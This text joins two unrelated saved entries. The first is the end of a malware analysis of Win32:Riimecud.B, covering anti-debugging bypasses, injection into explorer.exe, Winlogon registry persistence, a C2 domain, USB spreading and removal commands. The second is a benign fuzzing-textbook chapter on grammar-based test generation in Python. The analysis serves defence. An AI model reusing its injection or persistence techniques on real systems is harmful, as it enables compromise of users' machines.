After coming out of this loop, CALL 00330151 is made. This function make CALL
DWORD PTR SS:\[ESP+C\], which should ideally be kernel32.GetProcAdddress.
However if you are debugging the malware, the stack might have values that
were pushed on stack because of the previous ‘GetTickCount’ loop and hence
trigger an Access Violation. To bypass this debugging technique you need to
adjust the ESP value so that \[ESP+C\] points to kernel32.GetProcAddress.  
  

  5. The malware under analysis is created using a CrimeWare Kit that is available in the underground market called CRUM Cryptor Polymorphic by Sunzer Flint \(Fig 5\). This is a program that is used by malware authors to encrypt malware through a random key of 256 bytes and also subject it to polymorphism.  
<img src='img/Temp2_651.png' width='500px' />  
Figure 5: CRUM Cryptor Polymorphic.  
  

  6. The last two anti-debugging techniques that are implemented by malware before it decrypts itself, is done by accessing the Process Environment Block \(PEB\) of the current process. The first technique is checking if the byte at offset 0x02\(IsDebugged\) in the PEB is set or not. If a program is being debugged, this byte is set to 1 else it is 0. The other anti-debugging technique is to check for the NtGlobalFlags at offset 0x68 in the PEB. If the process is debugged, some flags controlling the heap manipulation routines in ntdll will be set. This anti-debug can be bypassed by resetting the NtGlobalFlags field \(Fig. 6\).  
<img src='img/Temp2_644.png' width='500px' />  
Figure 6: PEB Anti-debugging Technique.  
  

  7. Once we have bypassed all these anti-debugging technique, the malware will start importing the different library it requires using the kernel32.LoadLibraryA API.  
  

  8. The malware then tries to find if the process “explorer.exe” is running on the system and gets handle to this process via the kernel32.OpenProcess API\(Fig. 7\).  
<img src='img/Temp2_652.png' width='500px' />  
Figure 7: Malware trying to find the “explorer.exe” process.  
  

  9. The malware then reserves a region of memory within the virtual address space of the “explorer.exe” process using kernel32.VirutalAllocEx API and creates a thread in the explorer.exe process via the kernel32.CreateRemoteThread API \(Fig. 8\). Once the remote thread is created in the “explorer.exe” process, the malware terminates itself with exit code 0.  
<img src='img/Temp2_650.png' width='500px' />  
Figure 8: Malware Creates a Remote Thread in explorer.exe.  
  

  10. Once this new thread is created in the explorer process, the original malware file is copied to “%USERPROFILE%\\\ctfmon.exe” location \(Fig. 9\) and sets file attributes to system, read-only and hidden.  
<img src='img/Temp2_647.png' width='500px' />  
Figure 9: Explorer Thread making a copy of itself as “ctfmon.exe”.  
  

  11. After creating the executable, the malware creates the key “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Taskman”: “%USERPROFILE%\ctfmon.exe” \(Fig. 10\). This key ensures that every time explorer.exe process is created, the malware gets executed.  
<img src='img/Temp2_645.png' width='500px' />  
Figure 10: Explorer Thread creating the “TaskMan” registry.  
  

  12. The malware creates a NamedPipe which can be later used for inter-process communication \(Fig. 11\).  
<img src='img/Temp2_648.png' width='500px' />  
Figure 11: Explorer Thread creating a NamedPipe.  
  

  13. The malware then tries to communicate to its masters at “tinaivanovic.sexy-serbain-girls.info” \(Fig. 12\).  
<img src='img/Temp2_649.png' width='500px' />  
Figure 12: Malware trying to communicate on Internet.  
  

  14. The malware is known to spread via USB drives. On connecting a USB stick to an infected host, the malware drops a copy of itself in the “\[RemovableDrive\]\\\nemoj\\\meni.exe” and creates an autorun.inf file \(Fig. 13\).  
<img src='img/Temp2_646.png' width='500px' />  
Figure 13: Malware trying to spread via removable drive.  
  

### Removal Instructions

  1. Open “Regedit” and locate the above mentioned registry key. Delete this registry key.  
  

  2. Open “Task Manager” and find explorer.exe in the “Processes” tab. Right click on explorer.exe and select “Kill Process”. If you are comfortable using command line, use the following steps to kill explorer.exe: 
     * tasklist | find /i "explorer"  
This command will give you the process id of explorer.exe process.

     * taskkill /PID 12345 /f  
\(12345 to be substituted with the process id of explorer.exe obtained from
the above step\)  
  

  3. Upon doing this you will notice that another process named “ctfmon.exe” appears in the process list. Kill “ctfmon.exe” as well, same way as we killed explorer.exe.  
  

  4. Browse to the %UserProfile% directory using a command line. Use “dir /ah” command to list all the files in that directory. You should be able to see “ctfmon.exe” file in that directory. This file has “SHR” attribute. Remove these attributes of the file so that you can delete this file. Use the following commands to do this: 
     * attrib –S –H –R ctfmon.exe
     * del ctfmon.exe  
  

**Anhänge**

  * Malware Win32:Riimecud.B.pdf \(682.9 K\) 

# Fuzzing with Grammars - Generating Software Tests

**Created:**| _11/14/2018 9:18:52 AM_  
---|---  
**Updated:**| _11/14/2018 9:18:52 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Fuzzing with Grammars¶

In the chapter on "Mutation-Based Fuzzing", we have seen how to use extra
hints – such as sample input files – to speed up test generation. In this
chapter, we take this idea one step further, by providing a _specification_ of
the legal inputs to a program. These _grammars_ allow for very systematic and
efficient test generation, in particular for complex input formats. They also
serve as the base for configuration fuzzing, API fuzzing, GUI fuzzing, and
many more.

**Prerequisites**

  * You should know how basic fuzzing works, e.g. from the Chapter introducing fuzzing.
  * Knowledge on mutation-based fuzzing and coverage is _not_ required yet, but still recommended.

## Input Languages¶

All possible behaviors of a program can be triggered by its input. "Input"
here can be a wide range of possible sources: We are talking about data that
is read from files, from the environment, or over the network, data input by
the user, or data acquired from interaction with other resources. The set of
all these inputs determines how the program will behave – including its
failures. When testing, it is thus very helpful to think about possible input
sources, how to get them under control, and _how to systematically test them_.

For the sake of simplicity, we will assume for now that the program has only
one source of inputs; this is the same assumption we have been using in the
previous chapters, too. The set of valid inputs to a program is called a
_language_. Languages range from the simple to the complex: the CSV language
denotes the set of valid comma-separated inputs, whereas the Python language
denotes the set of valid Python programs. We commonly separate data languages
and programming languages, although any program can also be treated as input
data \(say, to a compiler\). The Wikipedia page on file formats lists more
than 1,000 different file formats, each of which is its own language.

To formally describe languages, the field of _formal languages_ has devised a
number of _language specifications_ that describe a language. _Regular
expressions_ represent the simplest class of these languages to denote sets of
strings: The regular expression `[a-z]*`, for instance, denotes a \(possibly
empty\) sequence of lowercase letters. _Automata theory_ connects these
languages to automata that accept these inputs; _finite state machines_ , for
instance, can be used to specify the same language as regular expressions.

Regular expressions are great for not-too-complex input formats, and the
associated finite state machines have many properties that make them great for
reasoning. To specify more complex inputs, though, they quickly encounter
limitations. At the other end of the language spectrum, we have _universal
grammars_ that denote the language accepted by _Turing machines_. A Turing
machine can compute anything that can be computed; and with Python being a
Turing-complete language, this means that we can also use a Python program pp
to specify or even enumerate legal inputs. But then, computer science theory
also tells us that each such testing program has to be written specifically
for the program to be tested, which is not the level of automation we want.

## Grammars¶

The middle ground between regular expressions and Turing machines is covered
by _grammars_. Grammars are among the most popular \(and best understood\)
formalisms to formally specify input languages. Using a grammar, one can
express a wide range of the properties of an input language. Grammars are
particularly great for expressing the _syntactical structure_ of an input, and
are the formalism of choice to express nested or recursive inputs.

### Rules and Expansions¶

A grammar consists of a _start symbol_ and a set of _rules_ which indicate how
the start symbol \(and other symbols\) can be expanded. As an example,
consider the following grammar, denoting a sequence of two digits:

[code]

    <start> ::= <digit><digit>
    <digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
[/code]

To read such a grammar, start with the starting symbol \(`<start>`\). A rule
`<A> ::= <B>` means that the symbol on the left side \(`<A>`\) can be replaced
by the string on the right side \(`<B>`\). In the above grammar, `<start>`
would be replaced by `<digit><digit>`.

In this string again, `<digit>` would be replaced by the string on the right
side of the `<digit>` rule. The special operator `|` denotes _alternatives_ ,
meaning that any of the digits can be chosen for an expansion. Each `<digit>`
thus would be expanded into one of the given digits, eventually yielding a
string between `00` and `99`. There are no further expansions for `0` to `9`,
so we are all set.

The interesting thing about grammars is that they can be _recursive_. That is,
expansions can make use of symbols expanded earlier – which would then be
expanded again. As an example, consider a grammar that describes integers:

[code]

    <start>  ::= <integer>
    <integer> ::= <digit> | <digit><integer>
    <digit>   ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
[/code]

Here, a `<integer>` is either a single digit, or a digit followed by another
integer. The number `1234` thus would be represented as a single digit `1`,
followed by the integer `234`, which in turn is a digit `2`, followed by the
integer `34`.

If we wanted to express that an integer can be preceded by a sign \(`+` or
`-`\), we would write the grammar as

[code]

    <start>   ::= <number>
    <number>  ::= <integer> | +<integer> | -<integer>
    <integer> ::= <digit> | <digit><integer>
    <digit>   ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
[/code]

These rules formally define the language: Anything that can be derived from
the start symbol is part of the language; anything that cannot is not.

### Arithmetic Expressions¶

Let us expand our grammar to cover full _arithmetic expressions_ – a poster
child example for a grammar. We see that an expression \(`<expr>`\) is either
a sum, or a difference, or a term; a term is either a product or a division,
or a factor; and a factor is either a number or a parenthesized expression.
Almost all rules can have recursion, and thus allow arbitrary complex
expressions such as `(1 + 2) * (3.4 / 5.6 - 789)`.

[code]

    <start>   ::= <expr>
    <expr>    ::= <term> + <expr> | <term> - <expr> | <term>
    <term>    ::= <term> * <factor> | <term> / <factor> | <factor>
    <factor>  ::= +<factor> | -<factor> | (<expr>) | <integer> | <integer>.<integer>
    <integer> ::= <digit><integer> | <digit>
    <digit>   ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
[/code]

In such a grammar, if we start with `<start>` and then expand one symbol after
another, randomly choosing alternatives, we can quickly produce one valid
arithmetic expression after another. Such _grammar fuzzing_ is highly
effective as it comes to produce complex inputs, and this is what we will
implement in this chapter.

## Representing Grammars in Python¶

Our first step in building a grammar fuzzer is to find an appropriate format
for grammars. To make the writing of grammars as simple as possible, we use a
format that is based on strings and lists. Our grammars in Python take the
format of a _mapping_ between symbol names and expansions, where expansions
are _lists_ of alternatives. A one-rule grammar for digits thus takes the form

[code]

    import fuzzingbook_utils
    
[/code]

[code]

    DIGIT_GRAMMAR = {
        "<start>":
            ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
    }
    
[/code]

whereas the full grammar for arithmetic expressions looks like this:

[code]

    EXPR_GRAMMAR = {
        "<start>":
            ["<expr>"],
    
        "<expr>":
            ["<term> + <expr>", "<term> - <expr>", "<term>"],
    
        "<term>":
            ["<factor> * <term>", "<factor> / <term>", "<factor>"],
    
        "<factor>":
            ["+<factor>",
             "-<factor>",
             "(<expr>)",
             "<integer>.<integer>",
             "<integer>"],
    
        "<integer>":
            ["<digit><integer>", "<digit>"],
    
        "<digit>":
            ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
    }
    
[/code]

In the grammar, we can access any rule by its symbol...

[code]

    EXPR_GRAMMAR["<digit>"]
    
[/code]

[code]

    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    
[/code]

....and we can check whether a symbol is in the grammar:

[code]

    "<identifier>" in EXPR_GRAMMAR
    
[/code]

[code]

    False
    
[/code]

## Some Definitions¶

We assume that the canonical start symbol is `<start>`:

[code]

    START_SYMBOL = "<start>"
    
[/code]

The handy `nonterminals()` function extracts the list of nonterminal symbols
\(i.e., anything between `<` and `>`, except spaces\) from an expansion.

[code]

    import re
    
[/code]

[code]

    RE_NONTERMINAL = re.compile(r'(<[^<> ]*>)')
    
[/code]

[code]

    def nonterminals(expansion):
        # In later chapters, we allow expansions to be tuples,
        # with the expansion being the first element
        if isinstance(expansion, tuple):
            expansion = expansion[0]
    
        return re.findall(RE_NONTERMINAL, expansion)
    
[/code]

[code]

    assert nonterminals("<term> * <factor>") == ["<term>", "<factor>"]
    assert nonterminals("<digit><integer>") == ["<digit>", "<integer>"]
    assert nonterminals("1 < 3 > 2") == []
    assert nonterminals("1 <3> 2") == ["<3>"]
    assert nonterminals("1 + 2") == []
    assert nonterminals(("<1>", {'option': 'value'})) == ["<1>"]
    
[/code]

Likewise, `is_nonterminal()` checks whether some symbol is a nonterminal:

[code]

    def is_nonterminal(s):
        return re.match(RE_NONTERMINAL, s)
    
[/code]

[code]

    assert is_nonterminal("<abc>")
    assert is_nonterminal("<symbol-1>")
    assert not is_nonterminal("+")
    
[/code]

## A Simple Grammar Fuzzer¶

Let us now put the above grammars to use. We will build a very simple grammar
fuzzer that starts with a start symbol \(`"<start>"`\) and then keeps on
expanding it. To avoid expansion to infinite inputs, we place a limit
\(`max_symbols`\) on the number of symbols. Furthermore, to avoid being stuck
in a situation where we cannot reduce the number of symbols any further, we
also limit the total number of expansion steps.

[code]

    import random
    
[/code]

[code]

    class ExpansionError(Exception):
        pass
    
[/code]

[code]

    def simple_grammar_fuzzer(grammar, start_symbol=START_SYMBOL,
                              max_nonterminals=10, max_expansion_trials=100,
                              log=False):
        term = start_symbol
        expansion_trials = 0
    
        while len(nonterminals(term)) > 0:
            symbol_to_expand = random.choice(nonterminals(term))
            expansions = grammar[symbol_to_expand]
            expansion = random.choice(expansions)
            new_term = term.replace(symbol_to_expand, expansion, 1)
    
            if len(nonterminals(new_term)) < max_nonterminals:
                term = new_term
                if log:
                    print("%-40s" % (symbol_to_expand + " -> " + expansion), term)
                expansion_trials = 0
            else:
                expansion_trials += 1
                if expansion_trials >= max_expansion_trials:
                    raise ExpansionError("Cannot expand " + repr(term))
    
        return term
    
[/code]

Let us see how this simple grammar fuzzer obtains an arithmetic expression
from the start symbol:

[code]

    simple_grammar_fuzzer(grammar=EXPR_GRAMMAR, max_nonterminals=3, log=True)
    
[/code]

[code]

    <start> -> <expr>                        <expr>
    <expr> -> <term> + <expr>                <term> + <expr>
    <term> -> <factor>                       <factor> + <expr>
    <factor> -> <integer>                    <integer> + <expr>
    <integer> -> <digit>                     <digit> + <expr>
    <digit> -> 6                             6 + <expr>
    <expr> -> <term> - <expr>                6 + <term> - <expr>
    <expr> -> <term>                         6 + <term> - <term>
    <term> -> <factor>                       6 + <factor> - <term>
    <factor> -> -<factor>                    6 + -<factor> - <term>
    <term> -> <factor>                       6 + -<factor> - <factor>
    <factor> -> (<expr>)                     6 + -(<expr>) - <factor>
    <factor> -> (<expr>)                     6 + -(<expr>) - (<expr>)
    <expr> -> <term>                         6 + -(<term>) - (<expr>)
    <expr> -> <term>                         6 + -(<term>) - (<term>)
    <term> -> <factor>                       6 + -(<factor>) - (<term>)
    <factor> -> +<factor>                    6 + -(+<factor>) - (<term>)
    <factor> -> +<factor>                    6 + -(++<factor>) - (<term>)
    <term> -> <factor>                       6 + -(++<factor>) - (<factor>)
    <factor> -> (<expr>)                     6 + -(++(<expr>)) - (<factor>)
    <factor> -> <integer>                    6 + -(++(<expr>)) - (<integer>)
    <expr> -> <term>                         6 + -(++(<term>)) - (<integer>)
    <integer> -> <digit>                     6 + -(++(<term>)) - (<digit>)
    <digit> -> 9                             6 + -(++(<term>)) - (9)
    <term> -> <factor> * <term>              6 + -(++(<factor> * <term>)) - (9)
    <term> -> <factor>                       6 + -(++(<factor> * <factor>)) - (9)
    <factor> -> <integer>                    6 + -(++(<integer> * <factor>)) - (9)
    <integer> -> <digit>                     6 + -(++(<digit> * <factor>)) - (9)
    <digit> -> 2                             6 + -(++(2 * <factor>)) - (9)
    <factor> -> +<factor>                    6 + -(++(2 * +<factor>)) - (9)
    <factor> -> -<factor>                    6 + -(++(2 * +-<factor>)) - (9)
    <factor> -> -<factor>                    6 + -(++(2 * +--<factor>)) - (9)
    <factor> -> -<factor>                    6 + -(++(2 * +---<factor>)) - (9)
    <factor> -> -<factor>                    6 + -(++(2 * +----<factor>)) - (9)
    <factor> -> <integer>.<integer>          6 + -(++(2 * +----<integer>.<integer>)) - (9)
    <integer> -> <digit>                     6 + -(++(2 * +----<digit>.<integer>)) - (9)
    <integer> -> <digit>                     6 + -(++(2 * +----<digit>.<digit>)) - (9)
    <digit> -> 1                             6 + -(++(2 * +----1.<digit>)) - (9)
    <digit> -> 7                             6 + -(++(2 * +----1.7)) - (9)
    
[/code]

[code]

    '6 + -(++(2 * +----1.7)) - (9)'
    
[/code]

By increasing the limit of nonterminals, we can quickly get much longer
productions:

[code]

    for i in range(10):
        print(simple_grammar_fuzzer(grammar=EXPR_GRAMMAR, max_nonterminals=5))
    
[/code]

[code]

    7 / +48.5
    -5.9 / 9 - 4 * +-(-+++((1 + (+7 - (-1 * (++-+7.7 - -+-4.0))))) * +--4 - -(6) + 64)
    8.2 - 27 - -9 / +((+9 * --2 + --+-+-((-1 * +(8 - 5 - 6)) * (-((-+(((+(4))))) - ++4) / +(-+---((5.6 - --(3 * -1.8 * +(6 * +-(((-(-6) * ---+6)) / +--(+-+-7 * (-0 * (+(((((2)) + 8 - 3 - ++9.0 + ---(--+7 / (1 / +++6.37) + (1) / 482) / +++-+0)))) * -+5 + 7.513)))) - (+1 / ++((-84)))))))) * ++5 / +-(--2 - -++-9.0)))) / 5 * --++090
    1 - -3 * 7 - 28 / 9
    (+9) * +-5 * ++-926.2 - (+9.03 / -+(-(-6) / 2 * +(-+--(8) / -(+1.0) - 5 + 4)) * 3.5)
    8 + -(9.6 - 3 - -+-4 * +77)
    -(((((++((((+((++++-((+-37))))))))))))) / ++(-(+++(+6)) * -++-(+(++(---6 * (((7)) * (1) / (-7.6 * 535338) + +256) * 0) * 0))) - 4 + +1
    5.43
    (9 / -405 / -23 - +-((+-(2 * (13))))) + +6 - +8 - 934
    -++2 - (--+715769550) / 8 / (1)
    
[/code]

Note that this fuzzer is rather inefficient due to the large number of search
and replace operations. On the other hand, the implementation is
straightforward and does the job in most cases. For this chapter, we'll stick
to it; in the next chapter, we'll show how to build a more efficient one.

## Some Grammars¶

With grammars, we can easily specify the format for several of the examples we
discussed earlier. The above arithmetic expressions, for instance, can be
directly sent into `bc` \(or any other program that takes arithmetic
expressions\).

### A CGI Grammar¶

Let us create some more grammars. Here's one for `cgi_decode()`:

[code]

    CGI_GRAMMAR = {
        "<start>":
            ["<string>"],
    
        "<string>":
            ["<letter>", "<letter><string>"],
    
        "<letter>":
            ["<plus>", "<percent>", "<other>"],
    
        "<plus>":
            ["+"],
    
        "<percent>":
            ["%<hexdigit><hexdigit>"],
    
        "<hexdigit>":
            ["0", "1", "2", "3", "4", "5", "6", "7",
                "8", "9", "a", "b", "c", "d", "e", "f"],
    
        "<other>":  # Actually, could be _all_ letters
            ["0", "1", "2", "3", "4", "5", "a", "b", "c", "d", "e", "-", "_"],
    }
    
[/code]

In contrast to basic fuzzing or mutation-based fuzzing, the grammar quickly
produces all sorts of combinations:

[code]

    for i in range(10):
        print(simple_grammar_fuzzer(grammar=CGI_GRAMMAR, max_nonterminals=10))
    
[/code]

[code]

    +%9a
    +++%ce+
    +_
    +%c6c
    ++
    +%cd+5
    1%ee
    %b9%d5
    %96
    %57d%42
    
[/code]

### A URL Grammar¶

The same properties we have seen for CGI input also hold for more complex
inputs. Let us use a grammar to produce a large number of valid URLs:

[code]

    URL_GRAMMAR = {
        "<start>":
            ["<url>"],
        "<url>":
            ["<scheme>://<authority><path><query>"],
        "<scheme>":
            ["http", "https", "ftp", "ftps"],
        "<authority>":
            ["<host>", "<host>:<port>", "<userinfo>@<host>", "<userinfo>@<host>:<port>"],
        "<host>":  # Just a few
            ["cispa.saarland", "www.google.com", "fuzzingbook.com"],
        "<port>":
            ["80", "8080", "<nat>"],
        "<nat>":
            ["<digit>", "<digit><digit>"],
        "<digit>":
            ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
        "<userinfo>":  # Just one
            ["user:password"],
        "<path>":  # Just a few
            ["", "/", "/<id>"],
        "<id>":  # Just a few
            ["abc", "def", "x<digit><digit>"],
        "<query>":
            ["", "?<params>"],
        "<params>":
            ["<param>", "<param>&<params>"],
        "<param>":  # Just a few
            ["<id>=<id>", "<id>=<nat>"],
    }
    
[/code]

Again, within milliseconds, we can produce plenty of valid inputs.

[code]

    for i in range(10):
        print(simple_grammar_fuzzer(grammar=URL_GRAMMAR, max_nonterminals=10))
    
[/code]

[code]

    https://user:password@cispa.saarland:80/
    http://fuzzingbook.com?def=56&x89=3&x46=48&def=def
    ftp://cispa.saarland/?x71=5&x35=90&def=abc
    https://cispa.saarland:80/def?def=7&x23=abc
    https://fuzzingbook.com:80/
    https://fuzzingbook.com:80/abc?def=abc&abc=x14&def=abc&abc=2&def=38
    ftps://fuzzingbook.com/x87
    https://user:password@fuzzingbook.com:6?def=54&x44=abc
    http://fuzzingbook.com:80?x33=25&def=8
    http://fuzzingbook.com:8080/def
    
[/code]

### A Natural Language Grammar¶

Finally, grammars are not limited to _formal_ languages such as computer
inputs, but can also be used to produce _natural language_. This is the
grammar we used to pick a title for this book:

[code]

    TITLE_GRAMMAR = {
        "<start>": ["<title>"],
        "<title>": ["<topic>: <subtopic>"],
        "<topic>": ["Generating Software Tests", "<fuzzing-prefix>Fuzzing", "The Fuzzing Book"],
        "<fuzzing-prefix>": ["", "The Art of ", "The Joy of "],
        "<subtopic>": ["<subtopic-main>",
                       "<subtopic-prefix><subtopic-main>",
                       "<subtopic-main><subtopic-suffix>"],
        "<subtopic-main>": ["Breaking Software",
                            "Generating Software Tests",
                            "Principles, Techniques and Tools"],
        "<subtopic-prefix>": ["", "Tools and Techniques for "],
        "<subtopic-suffix>": [" for <reader-property> and <reader-property>",
                              " for <software-property> and <software-property>"],
        "<reader-property>": ["Fun", "Profit"],
        "<software-property>": ["Robustness", "Reliability", "Security"],
    }
    
[/code]

[code]

    titles = set()
    while len(titles) < 10:
        titles.add(simple_grammar_fuzzer(
            grammar=TITLE_GRAMMAR, max_nonterminals=10))
    titles
    
[/code]

[code]

    {'Fuzzing: Generating Software Tests',
     'Fuzzing: Principles, Techniques and Tools',
     'Generating Software Tests: Breaking Software',
     'Generating Software Tests: Breaking Software for Robustness and Robustness',
     'Generating Software Tests: Principles, Techniques and Tools',
     'Generating Software Tests: Principles, Techniques and Tools for Profit and Fun',
     'Generating Software Tests: Tools and Techniques for Principles, Techniques and Tools',
     'The Fuzzing Book: Breaking Software',
     'The Fuzzing Book: Generating Software Tests for Profit and Profit',
     'The Fuzzing Book: Generating Software Tests for Robustness and Robustness'}
    
[/code]

\(If you find that there is redundancy \("Robustness and Robustness"\) in
here: In our chapter on coverage-based fuzzing, we will show how to cover each
expansion only once. And if you like some alternatives more than others,
probabilistic grammar fuzzing will be there for you.\)

## Grammars as Mutation Seeds¶

One very useful property of grammars is that they produce mostly valid inputs.
From a syntactical standpoint, the inputs are actually _always_ valid, as they
satisfy the constraints of the given grammar. \(Of course, one needs a valid
grammar in the first place.\) However, there are also _semantical_ properties
that cannot be easily expressed in a grammar. If, say, for a URL, the port
range is supposed to be between 1024 and 2048, this is hard to write in a
grammar. If one has to satisfy more complex constraints, one quickly reaches
the limits of what a grammar can express.

One way around this is to attach constraints to grammars, as we will discuss
later in this book. Another possibility is to put together the strengths of
grammar-based fuzzing and mutation-based fuzzing. The idea is to use the
grammar-generated inputs as _seeds_ for further mutation-based fuzzing. This
way, we can explore not only _valid_ inputs, but also check out the
_boundaries_ between valid and invalid inputs – and, by the way, also again
errors due to invalid inputs.

To use our generated inputs as seeds, we can feed them directly into the
mutation fuzzers introduced earlier:

[code]

    from MutationFuzzer import MutationFuzzer
    
[/code]

[code]

    number_of_seeds = 10
    seeds = [
        simple_grammar_fuzzer(
            grammar=URL_GRAMMAR,
            max_nonterminals=10) for i in range(number_of_seeds)]
    seeds
    
[/code]

[code]

    ['ftps://user:password@www.google.com:80',
     'http://cispa.saarland/',
     'ftp://www.google.com:42/',
     'ftps://user:password@fuzzingbook.com:39?abc=abc',
     'https://www.google.com?x33=1&x06=1',
     'http://www.google.com:02/',
     'https://user:password@www.google.com/',
     'ftp://cispa.saarland:8080/?abc=abc&def=def&abc=5',
     'http://www.google.com:80/def?def=abc',
     'http://user:password@cispa.saarland/']
    
[/code]

[code]

    m = MutationFuzzer(seeds)
    
[/code]

[code]

    for i in range(20):
        print(m.fuzz())
    
[/code]

[code]

    ftps://user:password@www.google.com:80
    http://cispa.saarland/
    ftp://www.google.com:42/
    ftps://user:password@fuzzingbook.com:39?abc=abc
    https://www.google.com?x33=1&x06=1
    http://www.google.com:02/
    https://user:password@www.google.com/
    ftp://cispa.saarland:8080/?abc=abc&def=def&abc=5
    http://www.google.com:80/def?def=abc
    http://user:password@cispa.saarland/
    Eh4tp:www.coogle.com:80/def?d%f=abc
    ftps://}ser:passwod@fuzzingbook.com:9?abc=abc
    uftp//cispa.sRaarland:808&0?abc=abc&def=defabc=5
    http://user:paswor9d@cispar.saarland/v
    ftp://Www.gogle.cAom:42/
    hht://userC:qassMword@cispy.csaarland/
    httx://ww.googlecom:80defde`f=ac
    htt://cispq.waarlnd/
    htFtp	://cmspa./saarna(md/
    ft:/www.google.com:42
    
[/code]

While the first 10 `fuzz()` calls return the seeded inputs \(as designed\),
the later ones again create arbitrary mutations. Using
`MutationCoverageFuzzer` instead of `MutationFuzzer`, we could again have our
search guided by coverage – and thus bring together the best of multiple
worlds.

## Grammar Shortcuts¶

Let us now introduce a few techniques that help us writing grammars.

### Escapes¶

With `<` and `>` delimiting nonterminals in our grammars, how can we actually
express that some input should contain `<` and `>`? The answer is simple: Just
introduce a symbol for them.

[code]

    nonterminal_grammar = {
        "<start>": ["<nonterminal>"],
        "<nonterminal>": ["<left-angle><identifier><right-angle>"],
        "<left-angle>": ["<"],
        "<right-angle>": [">"]
    }
    
[/code]

In `nonterminal_grammar`, neither the expansion for `<left-angle>` nor the
expansion for `<right-angle>` can be mistaken as a nonterminal. Hence, we can
produce as many as we want.

### Character Classes¶

In the above `nonterminal_grammar`, we have left out the definition for `<identifier>`. That is because enumerating all letters or digits in a grammar manually, as in `<letter> ::= 'a' | 'b' | 'c' ...` is a bit painful.
However, remember that grammars are part of a program, and can thus also be
constructed programmatically. In Python, the constant `string.ascii_letters`
contains all letters in the ASCII character set:

[code]

    import string
    
[/code]

[code]

    string.ascii_letters
    
[/code]

[code]

    'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    
[/code]

From this, we can construct a list of all letters:

[code]

    def srange(characters):
        """Construct a list with all characters in the string }`characters`"""
        return [c for c in characters]
    
[/code]

[code]

    srange(string.ascii_letters)[:10]
    
[/code]

[code]

    ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j']
    
[/code]

We can now use this in our grammar to define identifiers:

[code]

    nonterminal_grammar["<identifier>"] = ["<idchar>", "<idchar><identifier>"]
    nonterminal_grammar["<idchar>"] = srange(
        string.ascii_letters) + srange(string.digits) + srange("-_")
    
[/code]

[code]

    [simple_grammar_fuzzer(nonterminal_grammar, "<identifier>") for i in range(10)]
    
[/code]

[code]

    ['b', 'd', 'X3b', 'n0', '7', 'v', 'z', 'X', 'g', 'Pfed']
    
[/code]

The shortcut `crange(start, end)` returns a list of all characters in the
ASCII range of `start` to \(including\) `end`:

[code]

    def crange(character_start, character_end):
        return [chr(i)
                for i in range(ord(character_start), ord(character_end) + 1)]
    
[/code]

We can use this to express ranges of characters:

[code]

    crange('0', '9')
    
[/code]

[code]

    ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    
[/code]

[code]

    assert crange('a', 'z') == srange(string.ascii_lowercase)
    
[/code]

### Grammar Shortcuts¶

In the above `nonterminal_grammar`, as in other grammars, we have to express
repetitions of characters using _recursion_ , that is, by referring to the
original definition:

[code]

    nonterminal_grammar["<identifier>"]
    
[/code]

[code]

    ['<idchar>', '<idchar><identifier>']
    
[/code]

It could be a bit easier if we simply could state that a nonterminal should be
a non-empty sequence of letters – for instance, as in

[code]

    <identifier> = <idchar>+
[/code]

where `+` denotes a non-empty repetition of the symbol it follows.

Operators such as `+` are frequently introduced as handy _shortcuts_ in
grammars. Formally, our grammars come in the so-called Backus-Naur form, or
BNF for short. Operators _extend_ BNF to so-called _extended_ BNF, or EBNF for
short:

  * The form `<symbol>?` indicates that `<symbol>` is optional – that is, it can occur 0 or 1 times.
  * The form `<symbol>+` indicates that `<symbol>` can occur 1 or more times repeatedly.
  * The form `<symbol>*` indicates that `<symbol>` can occur 0 or more times. \(In other words, it is an optional repetition.\)

To make matters even more interesting, we would like to use _parentheses_ with
the above shortcuts. Thus, `(<foo><bar>)?` indicates that the sequence of
`<foo>` and `<bar>` is optional.

Using such operators, we can define the identifier rule in a simpler way. To
this end, let us create a copy of the original grammar and modify the
`<identifier>` rule:

[code]

    from copy import deepcopy
    
[/code]

[code]

    nonterminal_ebnf_grammar = deepcopy(nonterminal_grammar)
    nonterminal_ebnf_grammar["<identifier>"] = "<idchar>+"
    
[/code]

Likewise, we can simplify the expression grammar. Consider how signs are
optional, and how integers can be expressed as sequences of digits.

[code]

    EXPR_EBNF_GRAMMAR = {
        "<start>":
            ["<expr>"],
    
        "<expr>":
            ["<term> + <expr>", "<term> - <expr>", "<term>"],
    
        "<term>":
            ["<factor> * <term>", "<factor> / <term>", "<factor>"],
    
        "<factor>":
            ["<sign>?<factor>", "(<expr>)", "<integer>(.<integer>)?"],
    
        "<sign>":
            ["+", "-"],
    
        "<integer>":
            ["<digit>+"],
    
        "<digit>":
            srange(string.digits)
    }
    
[/code]

Our aim is to convert EBNF grammars such as the ones above into a regular BNF
grammar. This is done by four rules:

  1. An expression `(content)op`, where `op` is one of `?`, `+`, `*`, becomes `<new-symbol>op`, with a new rule `<new-symbol> ::= content`.
  2. An expression `<symbol>?` becomes `<new-symbol>`, where `<new-symbol> ::= <empty> | <symbol>`.
  3. An expression `<symbol>+` becomes `<new-symbol>`, where `<new-symbol> ::= <symbol> | <symbol><new-symbol>`.
  4. An expression `<symbol>*` becomes `<new-symbol>`, where `<new-symbol> ::= <empty> | <symbol><new-symbol>`.

Here, `<empty>` expands to the empty string, as in `<empty> ::=`

If these operators remind you of _regular expressions_ , this is not by
accident: Actually, any basic regular expression can be converted into a
grammar using the above rules \(and character classes with `crange()`, as
defined above\).

Applying these rules on the examples above yields the following results:

  * `<idchar>+` becomes `<idchar><new-symbol>` with `<new-symbol> ::= <idchar> | <idchar><new-symbol>`. 
  * `<integer>(.<integer>)?` becomes `<integer><new-symbol>` with `<new-symbol> ::= <empty> | .<integer>`.

Let us implement these rules in three steps.

